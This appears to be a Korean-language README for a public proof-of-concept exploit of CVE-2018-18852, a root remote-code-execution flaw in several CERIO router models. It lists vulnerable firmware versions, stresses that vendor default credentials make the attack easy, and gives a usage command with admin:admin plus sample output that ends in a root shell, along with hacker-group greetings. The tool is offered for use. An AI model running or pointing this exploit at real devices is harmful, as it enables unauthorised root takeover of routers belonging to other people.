
CERIO RCE CVE-2018-18852, 인증된(벤더 기본값) 웹 기반 RCE로 root 사용자 권한 실행.
hook-s3c (github.com/andripwn), 트위터 @andripwn
CVE-2018-18852에 대한 동작하는 Python PoC, 원본 출처; https://github.com/andripwn/CVE-2018-18852
CERIO 라우터 모델 및 변형인 DT300N, DT100G, AMR-3204, WMR-200N은 루트 사용자로 인증된 웹 기반 RCE에 취약합니다.
미공개 0day 권고로 존재합니다; https://www.fortiguard.com/zeroday/FG-VD-18-149
벤더 기본 자격 증명이 일반적으로 존재하므로 실행은 매우 간단합니다.
아키텍처는 MIPS입니다.
Usage: exploit.py <ipaddress> <port> <creds>
$ python ./exploit.py 127.0.0.1 8080 admin:admin
[*] ================================================
[*] CERIO RCE CVE-2018-18852, confirmed on;
[*] - CERIO DT-300N-NGS-M - fw: Pme-CPE-AP12X V1.0.3
[*] - CERIO DT-300N - fw: Cen-CPE-N2H10A V1.0.14, Cen-CPE-N2H10A V1.1.6, Cen-CPE-N2H10A V1.1.7
[*] - CERIO DT-100G-N - fw: Cen-AP-N2H10A V1.0.8
[*] - CERIO DT-100G - fw: Cen-WR-G2H5 V1.0.7
[*] - CERIO DT-100GX-N - fw: Cen-AP-N2H8A V1.0.18
[*] - CERIO AMR-3204G - fw: Cen-AC V2.0.19
[*] - CERIO WMR-200N - fw: Cen-HS-N2H1 V1.0.6c Test
[*]
[/] by hook (@hook_s3c) https://github.com/hook-s3c/CVE-2018-18852
[/] Greetz to vap0rsquad, ThugCrowd, $noHat$, r0bl0xgang, Udderly Amoosing, illmob,
[/] The Many Hats Club, Cyber.Phunk, WAC, SHAM, 0x00sec, John McAfee
[/] Go cop YTCracker's Introducing Neals, gov overreach is no joke - wake the fuck up
[*] ================================================
root@cerio:~# id
[!] This may not be the right model (DT-300N-NGS-M), trying again
[+] Sucessfully grabbed pid token: 1312
uid=0(root) gid=0(root)
root@cerio:~#
vap0rsquad, ThugCrowd, $noHat$, r0bl0xgang, Udderly Amoosing, illmob, The Many Hats Club, Cyber.Phunk, WAC, SHAM, 0x00sec, John McAfee에게 샤우트아웃을 보냅니다. YTCracker의 Introducing Neals를 꼭 들어보세요. 정부의 권한 남용은 농담이 아닙니다 - 정신 똑바로 차리세요.
HTP!!!! YEET